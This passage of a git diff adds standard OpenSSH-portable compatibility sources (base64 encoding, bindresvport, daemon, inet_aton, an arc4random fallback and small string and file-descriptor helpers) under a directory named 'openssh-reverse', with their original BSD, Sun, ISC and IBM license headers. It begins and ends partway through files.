$"); + +#include "ssh.h" + +char * +chop(char *s) +{ + char *t = s; + while (*t) { + if(*t == '\n' || *t == '\r') { + *t = '\0'; + return s; + } + t++; + } + return s; + +} + +void +set_nonblock(int fd) +{ + int val; + if (isatty(fd)) { + /* do not mess with tty's */ + debug("no set_nonblock for tty fd %d", fd); + return; + } + val = fcntl(fd, F_GETFL, 0); + if (val < 0) { + error("fcntl(%d, F_GETFL, 0): %s", fd, strerror(errno)); + return; + } + if (val & O_NONBLOCK) + return; + debug("fd %d setting O_NONBLOCK", fd); + val |= O_NONBLOCK; + if (fcntl(fd, F_SETFL, val) == -1) + error("fcntl(%d, F_SETFL, O_NONBLOCK): %s", fd, strerror(errno)); +} + +/* Characters considered whitespace in strsep calls. */ +#define WHITESPACE " \t\r\n" + +char * +strdelim(char **s) +{ + char *old; + int wspace = 0; + + if (*s == NULL) + return NULL; + + old = *s; + + *s = strpbrk(*s, WHITESPACE "="); + if (*s == NULL) + return (old); + + /* Allow only one '=' to be skipped */ + if (*s[0] == '=') + wspace = 1; + *s[0] = '\0'; + + *s += strspn(*s + 1, WHITESPACE) + 1; + if (*s[0] == '=' && !wspace) + *s += strspn(*s + 1, WHITESPACE) + 1; + + return (old); +} diff --git a/other/openssh-reverse/bsd-base64.c b/other/openssh-reverse/bsd-base64.c new file mode 100644 index 0000000..8cbf8ee --- /dev/null +++ b/other/openssh-reverse/bsd-base64.c @@ -0,0 +1,316 @@ +/* $OpenBSD: base64.c,v 1.3 1997/11/08 20:46:55 deraadt Exp $ */ + +/* + * Copyright (c) 1996 by Internet Software Consortium. + * + * Permission to use, copy, modify, and distribute this software for any + * purpose with or without fee is hereby granted, provided that the above + * copyright notice and this permission notice appear in all copies. + * + * THE SOFTWARE IS PROVIDED "AS IS" AND INTERNET SOFTWARE CONSORTIUM DISCLAIMS + * ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL INTERNET SOFTWARE + * CONSORTIUM BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL + * DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR + * PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS + * ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS + * SOFTWARE. + */ + +/* + * Portions Copyright (c) 1995 by International Business Machines, Inc. + * + * International Business Machines, Inc. (hereinafter called IBM) grants + * permission under its copyrights to use, copy, modify, and distribute this + * Software with or without fee, provided that the above copyright notice and + * all paragraphs of this notice appear in all copies, and that the name of IBM + * not be used in connection with the marketing of any product incorporating + * the Software or modifications thereof, without specific, written prior + * permission. + * + * To the extent it has a right to do so, IBM grants an immunity from suit + * under its patents, if any, for the use, sale or manufacture of products to + * the extent that such products are used for performing Domain Name System + * dynamic updates in TCP/IP networks by means of the Software. No immunity is + * granted for any product per se or for any other function of any product. + * + * THE SOFTWARE IS PROVIDED "AS IS", AND IBM DISCLAIMS ALL WARRANTIES, + * INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A + * PARTICULAR PURPOSE. IN NO EVENT SHALL IBM BE LIABLE FOR ANY SPECIAL, + * DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER ARISING + * OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE, EVEN + * IF IBM IS APPRISED OF THE POSSIBILITY OF SUCH DAMAGES. + */ + +#include "config.h" + +#if !defined(HAVE_B64_NTOP) && !defined(HAVE___B64_NTOP) + +#include +#include +#include +#include +#include + +#include +#include + +#include +#include + +#include "bsd-base64.h" + +#define Assert(Cond) if (!(Cond)) abort() + +static const char Base64[] = + "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; +static const char Pad64 = '='; + +/* (From RFC1521 and draft-ietf-dnssec-secext-03.txt) + The following encoding technique is taken from RFC 1521 by Borenstein + and Freed. It is reproduced here in a slightly edited form for + convenience. + + A 65-character subset of US-ASCII is used, enabling 6 bits to be + represented per printable character. (The extra 65th character, "=", + is used to signify a special processing function.) + + The encoding process represents 24-bit groups of input bits as output + strings of 4 encoded characters. Proceeding from left to right, a + 24-bit input group is formed by concatenating 3 8-bit input groups. + These 24 bits are then treated as 4 concatenated 6-bit groups, each + of which is translated into a single digit in the base64 alphabet. + + Each 6-bit group is used as an index into an array of 64 printable + characters. The character referenced by the index is placed in the + output string. + + Table 1: The Base64 Alphabet + + Value Encoding Value Encoding Value Encoding Value Encoding + 0 A 17 R 34 i 51 z + 1 B 18 S 35 j 52 0 + 2 C 19 T 36 k 53 1 + 3 D 20 U 37 l 54 2 + 4 E 21 V 38 m 55 3 + 5 F 22 W 39 n 56 4 + 6 G 23 X 40 o 57 5 + 7 H 24 Y 41 p 58 6 + 8 I 25 Z 42 q 59 7 + 9 J 26 a 43 r 60 8 + 10 K 27 b 44 s 61 9 + 11 L 28 c 45 t 62 + + 12 M 29 d 46 u 63 / + 13 N 30 e 47 v + 14 O 31 f 48 w (pad) = + 15 P 32 g 49 x + 16 Q 33 h 50 y + + Special processing is performed if fewer than 24 bits are available + at the end of the data being encoded. A full encoding quantum is + always completed at the end of a quantity. When fewer than 24 input + bits are available in an input group, zero bits are added (on the + right) to form an integral number of 6-bit groups. Padding at the + end of the data is performed using the '=' character. + + Since all base64 input is an integral number of octets, only the + ------------------------------------------------- + following cases can arise: + + (1) the final quantum of encoding input is an integral + multiple of 24 bits; here, the final unit of encoded + output will be an integral multiple of 4 characters + with no "=" padding, + (2) the final quantum of encoding input is exactly 8 bits; + here, the final unit of encoded output will be two + characters followed by two "=" padding characters, or + (3) the final quantum of encoding input is exactly 16 bits; + here, the final unit of encoded output will be three + characters followed by one "=" padding character. + */ + +int +b64_ntop(u_char const *src, size_t srclength, char *target, size_t targsize) +{ + size_t datalength = 0; + u_char input[3]; + u_char output[4]; + int i; + + while (2 < srclength) { + input[0] = *src++; + input[1] = *src++; + input[2] = *src++; + srclength -= 3; + + output[0] = input[0] >> 2; + output[1] = ((input[0] & 0x03) << 4) + (input[1] >> 4); + output[2] = ((input[1] & 0x0f) << 2) + (input[2] >> 6); + output[3] = input[2] & 0x3f; + Assert(output[0] < 64); + Assert(output[1] < 64); + Assert(output[2] < 64); + Assert(output[3] < 64); + + if (datalength + 4 > targsize) + return (-1); + target[datalength++] = Base64[output[0]]; + target[datalength++] = Base64[output[1]]; + target[datalength++] = Base64[output[2]]; + target[datalength++] = Base64[output[3]]; + } + + /* Now we worry about padding. */ + if (0 != srclength) { + /* Get what's left. */ + input[0] = input[1] = input[2] = '\0'; + for (i = 0; i < srclength; i++) + input[i] = *src++; + + output[0] = input[0] >> 2; + output[1] = ((input[0] & 0x03) << 4) + (input[1] >> 4); + output[2] = ((input[1] & 0x0f) << 2) + (input[2] >> 6); + Assert(output[0] < 64); + Assert(output[1] < 64); + Assert(output[2] < 64); + + if (datalength + 4 > targsize) + return (-1); + target[datalength++] = Base64[output[0]]; + target[datalength++] = Base64[output[1]]; + if (srclength == 1) + target[datalength++] = Pad64; + else + target[datalength++] = Base64[output[2]]; + target[datalength++] = Pad64; + } + if (datalength >= targsize) + return (-1); + target[datalength] = '\0'; /* Returned value doesn't count \0. */ + return (datalength); +} + +/* skips all whitespace anywhere. + converts characters, four at a time, starting at (or after) + src from base - 64 numbers into three 8 bit bytes in the target area. + it returns the number of data bytes stored at the target, or -1 on error. + */ + +int +b64_pton(char const *src, u_char *target, size_t targsize) +{ + int tarindex, state, ch; + char *pos; + + state = 0; + tarindex = 0; + + while ((ch = *src++) != '\0') { + if (isspace(ch)) /* Skip whitespace anywhere. */ + continue; + + if (ch == Pad64) + break; + + pos = strchr(Base64, ch); + if (pos == 0) /* A non-base64 character. */ + return (-1); + + switch (state) { + case 0: + if (target) { + if (tarindex >= targsize) + return (-1); + target[tarindex] = (pos - Base64) << 2; + } + state = 1; + break; + case 1: + if (target) { + if (tarindex + 1 >= targsize) + return (-1); + target[tarindex] |= (pos - Base64) >> 4; + target[tarindex+1] = ((pos - Base64) & 0x0f) + << 4 ; + } + tarindex++; + state = 2; + break; + case 2: + if (target) { + if (tarindex + 1 >= targsize) + return (-1); + target[tarindex] |= (pos - Base64) >> 2; + target[tarindex+1] = ((pos - Base64) & 0x03) + << 6; + } + tarindex++; + state = 3; + break; + case 3: + if (target) { + if (tarindex >= targsize) + return (-1); + target[tarindex] |= (pos - Base64); + } + tarindex++; + state = 0; + break; + } + } + + /* + * We are done decoding Base-64 chars. Let's see if we ended + * on a byte boundary, and/or with erroneous trailing characters. + */ + + if (ch == Pad64) { /* We got a pad char. */ + ch = *src++; /* Skip it, get next. */ + switch (state) { + case 0: /* Invalid = in first position */ + case 1: /* Invalid = in second position */ + return (-1); + + case 2: /* Valid, means one byte of info */ + /* Skip any number of spaces. */ + for (; ch != '\0'; ch = *src++) + if (!isspace(ch)) + break; + /* Make sure there is another trailing = sign. */ + if (ch != Pad64) + return (-1); + ch = *src++; /* Skip the = */ + /* Fall through to "single trailing =" case. */ + /* FALLTHROUGH */ + + case 3: /* Valid, means two bytes of info */ + /* + * We know this char is an =. Is there anything but + * whitespace after it? + */ + for (; ch != '\0'; ch = *src++) + if (!isspace(ch)) + return (-1); + + /* + * Now make sure for cases 2 and 3 that the "extra" + * bits that slopped past the last full byte were + * zeros. If we don't check them, they become a + * subliminal channel. + */ + if (target && target[tarindex] != 0) + return (-1); + } + } else { + /* + * We ended by seeing the end of the string. Make sure we + * have no partial bytes lying around. + */ + if (state != 0) + return (-1); + } + + return (tarindex); +} + +#endif /* !defined(HAVE_B64_NTOP) && !defined(HAVE___B64_NTOP) */ diff --git a/other/openssh-reverse/bsd-base64.h b/other/openssh-reverse/bsd-base64.h new file mode 100644 index 0000000..c1d69dd --- /dev/null +++ b/other/openssh-reverse/bsd-base64.h @@ -0,0 +1,16 @@ +#ifndef _BSD_BASE64_H +#define _BSD_BASE64_H + +#include "config.h" + +#ifndef HAVE___B64_NTOP +# ifndef HAVE_B64_NTOP +int b64_ntop(u_char const *src, size_t srclength, char *target, + size_t targsize); +int b64_pton(char const *src, u_char *target, size_t targsize); +# endif /* !HAVE_B64_NTOP */ +# define __b64_ntop b64_ntop +# define __b64_pton b64_pton +#endif /* HAVE___B64_NTOP */ + +#endif /* _BSD_BINRESVPORT_H */ diff --git a/other/openssh-reverse/bsd-bindresvport.c b/other/openssh-reverse/bsd-bindresvport.c new file mode 100644 index 0000000..15bb667 --- /dev/null +++ b/other/openssh-reverse/bsd-bindresvport.c @@ -0,0 +1,112 @@ +/* + * Sun RPC is a product of Sun Microsystems, Inc. and is provided for + * unrestricted use provided that this legend is included on all tape + * media and as a part of the software program in whole or part. Users + * may copy or modify Sun RPC without charge, but are not authorized + * to license or distribute it to anyone else except as part of a product or + * program developed by the user. + * + * SUN RPC IS PROVIDED AS IS WITH NO WARRANTIES OF ANY KIND INCLUDING THE + * WARRANTIES OF DESIGN, MERCHANTIBILITY AND FITNESS FOR A PARTICULAR + * PURPOSE, OR ARISING FROM A COURSE OF DEALING, USAGE OR TRADE PRACTICE. + * + * Sun RPC is provided with no support and without any obligation on the + * part of Sun Microsystems, Inc. to assist in its use, correction, + * modification or enhancement. + * + * SUN MICROSYSTEMS, INC. SHALL HAVE NO LIABILITY WITH RESPECT TO THE + * INFRINGEMENT OF COPYRIGHTS, TRADE SECRETS OR ANY PATENTS BY SUN RPC + * OR ANY PART THEREOF. + * + * In no event will Sun Microsystems, Inc. be liable for any lost revenue + * or profits or other special, indirect and consequential damages, even if + * Sun has been advised of the possibility of such damages. + * + * Sun Microsystems, Inc. + * 2550 Garcia Avenue + * Mountain View, California 94043 + */ + +#include "config.h" + +#ifndef HAVE_BINRESVPORT_AF + +#if defined(LIBC_SCCS) && !defined(lint) +static char *rcsid = "$OpenBSD: bindresvport.c,v 1.11 1999/12/17 19:22:08 deraadt Exp $"; +#endif /* LIBC_SCCS and not lint */ + +/* + * Copyright (c) 1987 by Sun Microsystems, Inc. + * + * Portions Copyright(C) 1996, Jason Downs. All rights reserved. + */ + +#include "includes.h" + +#define STARTPORT 600 +#define ENDPORT (IPPORT_RESERVED - 1) +#define NPORTS (ENDPORT - STARTPORT + 1) + +/* + * Bind a socket to a privileged IP port + */ +int +bindresvport_af(sd, sa, af) + int sd; + struct sockaddr *sa; + int af; +{ + int error; + struct sockaddr_storage myaddr; + struct sockaddr_in *sin; + struct sockaddr_in6 *sin6; + u_int16_t *portp; + u_int16_t port; + int salen; + int i; + + if (sa == NULL) { + memset(&myaddr, 0, sizeof(myaddr)); + sa = (struct sockaddr *)&myaddr; + } + + if (af == AF_INET) { + sin = (struct sockaddr_in *)sa; + salen = sizeof(struct sockaddr_in); + portp = &sin->sin_port; + } else if (af == AF_INET6) { + sin6 = (struct sockaddr_in6 *)sa; + salen = sizeof(struct sockaddr_in6); + portp = &sin6->sin6_port; + } else { + errno = EPFNOSUPPORT; + return (-1); + } + sa->sa_family = af; + + port = ntohs(*portp); + if (port == 0) + port = (arc4random() % NPORTS) + STARTPORT; + + for(i = 0; i < NPORTS; i++) { + *portp = htons(port); + + error = bind(sd, sa, salen); + + /* Terminate on success */ + if (error == 0) + break; + + /* Terminate on errors, except "address already in use" */ + if ((error < 0) && !((errno == EADDRINUSE) || (errno == EINVAL))) + break; + + port++; + if (port > ENDPORT) + port = STARTPORT; + } + + return (error); +} + +#endif /* HAVE_BINRESVPORT_AF */ diff --git a/other/openssh-reverse/bsd-bindresvport.h b/other/openssh-reverse/bsd-bindresvport.h new file mode 100644 index 0000000..df084e3 --- /dev/null +++ b/other/openssh-reverse/bsd-bindresvport.h @@ -0,0 +1,10 @@ +#ifndef _BSD_BINRESVPORT_H +#define _BSD_BINRESVPORT_H + +#include "config.h" + +#ifndef HAVE_BINRESVPORT_AF +int bindresvport_af(int sd, struct sockaddr *sa, int af); +#endif /* !HAVE_BINRESVPORT_AF */ + +#endif /* _BSD_BINRESVPORT_H */ diff --git a/other/openssh-reverse/bsd-daemon.c b/other/openssh-reverse/bsd-daemon.c new file mode 100644 index 0000000..fe92b76 --- /dev/null +++ b/other/openssh-reverse/bsd-daemon.c @@ -0,0 +1,81 @@ +/*- + * Copyright (c) 1990, 1993 + * The Regents of the University of California. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by the University of + * California, Berkeley and its contributors. + * 4. Neither the name of the University nor the names of its contributors + * may be used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + */ + +#include "config.h" + +#ifndef HAVE_DAEMON + +#if defined(LIBC_SCCS) && !defined(lint) +static char rcsid[] = "$OpenBSD: daemon.c,v 1.2 1996/08/19 08:22:13 tholo Exp $"; +#endif /* LIBC_SCCS and not lint */ + +#include +#include + +#ifdef HAVE_PATHS_H +# include +#endif + +int +daemon(nochdir, noclose) + int nochdir, noclose; +{ + int fd; + + switch (fork()) { + case -1: + return (-1); + case 0: + break; + default: + _exit(0); + } + + if (setsid() == -1) + return (-1); + + if (!nochdir) + (void)chdir("/"); + + if (!noclose && (fd = open(_PATH_DEVNULL, O_RDWR, 0)) != -1) { + (void)dup2(fd, STDIN_FILENO); + (void)dup2(fd, STDOUT_FILENO); + (void)dup2(fd, STDERR_FILENO); + if (fd > 2) + (void)close (fd); + } + return (0); +} + +#endif /* !HAVE_DAEMON */ + diff --git a/other/openssh-reverse/bsd-daemon.h b/other/openssh-reverse/bsd-daemon.h new file mode 100644 index 0000000..cd91ea0 --- /dev/null +++ b/other/openssh-reverse/bsd-daemon.h @@ -0,0 +1,9 @@ +#ifndef _BSD_DAEMON_H +#define _BSD_DAEMON_H + +#include "config.h" +#ifndef HAVE_DAEMON +int daemon(int nochdir, int noclose); +#endif /* !HAVE_DAEMON */ + +#endif /* _BSD_DAEMON_H */ diff --git a/other/openssh-reverse/bsd-inet_aton.c b/other/openssh-reverse/bsd-inet_aton.c new file mode 100644 index 0000000..18e31e7 --- /dev/null +++ b/other/openssh-reverse/bsd-inet_aton.c @@ -0,0 +1,193 @@ +/* $OpenBSD: inet_addr.c,v 1.6 1999/05/03 22:31:14 yanick Exp $ */ + +/* + * ++Copyright++ 1983, 1990, 1993 + * - + * Copyright (c) 1983, 1990, 1993 + * The Regents of the University of California. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by the University of + * California, Berkeley and its contributors. + * 4. Neither the name of the University nor the names of its contributors + * may be used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * - + * Portions Copyright (c) 1993 by Digital Equipment Corporation. + * + * Permission to use, copy, modify, and distribute this software for any + * purpose with or without fee is hereby granted, provided that the above + * copyright notice and this permission notice appear in all copies, and that + * the name of Digital Equipment Corporation not be used in advertising or + * publicity pertaining to distribution of the document or software without + * specific, written prior permission. + * + * THE SOFTWARE IS PROVIDED "AS IS" AND DIGITAL EQUIPMENT CORP. DISCLAIMS ALL + * WARRANTIES WITH REGARD TO THIS SOFTWARE, INCLUDING ALL IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL DIGITAL EQUIPMENT + * CORPORATION BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL + * DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR + * PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS + * ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS + * SOFTWARE. + * - + * --Copyright-- + */ + +#include "config.h" + +#if !defined(HAVE_INET_ATON) + +#if defined(LIBC_SCCS) && !defined(lint) +#if 0 +static char sccsid[] = "@(#)inet_addr.c 8.1 (Berkeley) 6/17/93"; +static char rcsid[] = "$From: inet_addr.c,v 8.5 1996/08/05 08:31:35 vixie Exp $"; +#else +static char rcsid[] = "$OpenBSD: inet_addr.c,v 1.6 1999/05/03 22:31:14 yanick Exp $"; +#endif +#endif /* LIBC_SCCS and not lint */ + +#include +#include +#include +#include +#include + +#if 0 +/* + * Ascii internet address interpretation routine. + * The value returned is in network order. + */ +in_addr_t +inet_addr(cp) + register const char *cp; +{ + struct in_addr val; + + if (inet_aton(cp, &val)) + return (val.s_addr); + return (INADDR_NONE); +} +#endif + +/* + * Check whether "cp" is a valid ascii representation + * of an Internet address and convert to a binary address. + * Returns 1 if the address is valid, 0 if not. + * This replaces inet_addr, the return value from which + * cannot distinguish between failure and a local broadcast address. + */ +int +inet_aton(const char *cp, struct in_addr *addr) +{ + register u_int32_t val; + register int base, n; + register char c; + unsigned int parts[4]; + register unsigned int *pp = parts; + + c = *cp; + for (;;) { + /* + * Collect number up to ``.''. + * Values are specified as for C: + * 0x=hex, 0=octal, isdigit=decimal. + */ + if (!isdigit(c)) + return (0); + val = 0; base = 10; + if (c == '0') { + c = *++cp; + if (c == 'x' || c == 'X') + base = 16, c = *++cp; + else + base = 8; + } + for (;;) { + if (isascii(c) && isdigit(c)) { + val = (val * base) + (c - '0'); + c = *++cp; + } else if (base == 16 && isascii(c) && isxdigit(c)) { + val = (val << 4) | + (c + 10 - (islower(c) ? 'a' : 'A')); + c = *++cp; + } else + break; + } + if (c == '.') { + /* + * Internet format: + * a.b.c.d + * a.b.c (with c treated as 16 bits) + * a.b (with b treated as 24 bits) + */ + if (pp >= parts + 3) + return (0); + *pp++ = val; + c = *++cp; + } else + break; + } + /* + * Check for trailing characters. + */ + if (c != '\0' && (!isascii(c) || !isspace(c))) + return (0); + /* + * Concoct the address according to + * the number of parts specified. + */ + n = pp - parts + 1; + switch (n) { + + case 0: + return (0); /* initial nondigit */ + + case 1: /* a -- 32 bits */ + break; + + case 2: /* a.b -- 8.24 bits */ + if ((val > 0xffffff) || (parts[0] > 0xff)) + return (0); + val |= parts[0] << 24; + break; + + case 3: /* a.b.c -- 8.8.16 bits */ + if ((val > 0xffff) || (parts[0] > 0xff) || (parts[1] > 0xff)) + return (0); + val |= (parts[0] << 24) | (parts[1] << 16); + break; + + case 4: /* a.b.c.d -- 8.8.8.8 bits */ + if ((val > 0xff) || (parts[0] > 0xff) || (parts[1] > 0xff) || (parts[2] > 0xff)) + return (0); + val |= (parts[0] << 24) | (parts[1] << 16) | (parts[2] << 8); + break; + } + if (addr) + addr->s_addr = htonl(val); + return (1); +} + +#endif /* !defined(HAVE_INET_ATON) */ diff --git a/other/openssh-reverse/bsd-inet_aton.h b/other/openssh-reverse/bsd-inet_aton.h new file mode 100644 index 0000000..ec3c225 --- /dev/null +++ b/other/openssh-reverse/bsd-inet_aton.h @@ -0,0 +1,10 @@ +#ifndef _BSD_INET_ATON_H +#define _BSD_INET_ATON_H + +#include "config.h" + +#ifndef HAVE_INET_ATON +int inet_aton(const char *cp, struct in_addr *addr); +#endif /* HAVE_INET_ATON */ + +#endif /* _BSD_INET_ATON_H */ diff --git a/other/openssh-reverse/bsd-misc.c b/other/openssh-reverse/bsd-misc.c new file mode 100644 index 0000000..e6b529e --- /dev/null +++ b/other/openssh-reverse/bsd-misc.c @@ -0,0 +1,166 @@ +/* + * Copyright (c) 1999-2000 Damien Miller. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by Markus Friedl. + * 4. The name of the author may not be used to endorse or promote products + * derived from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +#include "config.h" + +#include +#include +#include +#include +#include + +#include +#include +#include +#ifdef HAVE_STDDEF_H +#include +#endif + +#include "xmalloc.h" +#include "ssh.h" +#include "bsd-misc.h" +#include "entropy.h" + +#include + +#ifndef HAVE_ARC4RANDOM + +typedef struct +{ + unsigned int s[256]; + int i; + int j; +} rc4_t; + +void rc4_key(rc4_t *r, unsigned char *key, int len); +void rc4_getbytes(rc4_t *r, unsigned char *buffer, int len); + +static rc4_t *rc4 = NULL; + +void rc4_key(rc4_t *r, unsigned char *key, int len) +{ + int t; + + for(r->i = 0; r->i < 256; r->i++) + r->s[r->i] = r->i; + + r->j = 0; + for(r->i = 0; r->i < 256; r->i++) + { + r->j = (r->j + r->s[r->i] + key[r->i % len]) % 256; + t = r->s[r->i]; + r->s[r->i] = r->s[r->j]; + r->s[r->j] = t; + } + r->i = r->j = 0; +} + +void rc4_getbytes(rc4_t *r, unsigned char *buffer, int len) +{ + int t; + int c; + + c = 0; + while(c < len) + { + r->i = (r->i + 1) % 256; + r->j = (r->j + r->s[r->i]) % 256; + t = r->s[r->i]; + r->s[r->i] = r->s[r->j]; + r->s[r->j] = t; + + t = (r->s[r->i] + r->s[r->j]) % 256; + + buffer[c] = r->s[t]; + c++; + } +} + +unsigned int arc4random(void) +{ + unsigned int r; + + if (rc4 == NULL) + arc4random_stir(); + + rc4_getbytes(rc4, (unsigned char *)&r, sizeof(r)); + + return(r); +} + +void arc4random_stir(void) +{ + unsigned char rand_buf[32]; + + if (rc4 == NULL) + rc4 = xmalloc(sizeof(*rc4)); + + seed_rng(); + RAND_bytes(rand_buf, sizeof(rand_buf)); + + rc4_key(rc4, rand_buf, sizeof(rand_buf)); + memset(rand_buf, 0, sizeof(rand_buf)); +} +#endif /* !HAVE_ARC4RANDOM */ + +#ifndef HAVE_SETPROCTITLE +void setproctitle(const char *fmt, ...) +{ + /* FIXME */ +} +#endif /* !HAVE_SETPROCTITLE */ + +#ifndef HAVE_SETLOGIN +int setlogin(const char *name) +{ + return(0); +} +#endif /* !HAVE_SETLOGIN */ + +#ifndef HAVE_INNETGR +int innetgr(const char *netgroup, const char *host, + const char *user, const char *domain) +{ + return(0); +} +#endif /* HAVE_INNETGR */ + +#if !defined(HAVE_SETEUID) && defined(HAVE_SETREUID) +int seteuid(uid_t euid) +{ + return(setreuid(-1,euid)); +} +#endif /* !defined(HAVE_SETEUID) && defined(HAVE_SETREUID) */ + +#if !defined(HAVE_STRERROR) && defined(HAVE_SYS_ERRLIST) +const char *strerror(void) +{ + return(sys_errlist[errno]); +} +#endif /* !defined(HAVE_STRERROR) && defined(HAVE_SYS_ERRLIST) */ diff --git a/other/openssh-reverse/bsd-misc.h b/other/openssh-reverse/bsd-misc.h new file mode 100644 index 0000000..76b4e1a --- /dev/null +++ b/other/openssh-reverse/bsd-misc.h @@ -0,0 +1,65 @@ +/* + * Copyright (c) 1999-2000 Damien Miller. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by Markus Friedl. + * 4. The name of the author may not be used to endorse or promote products + * derived from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY 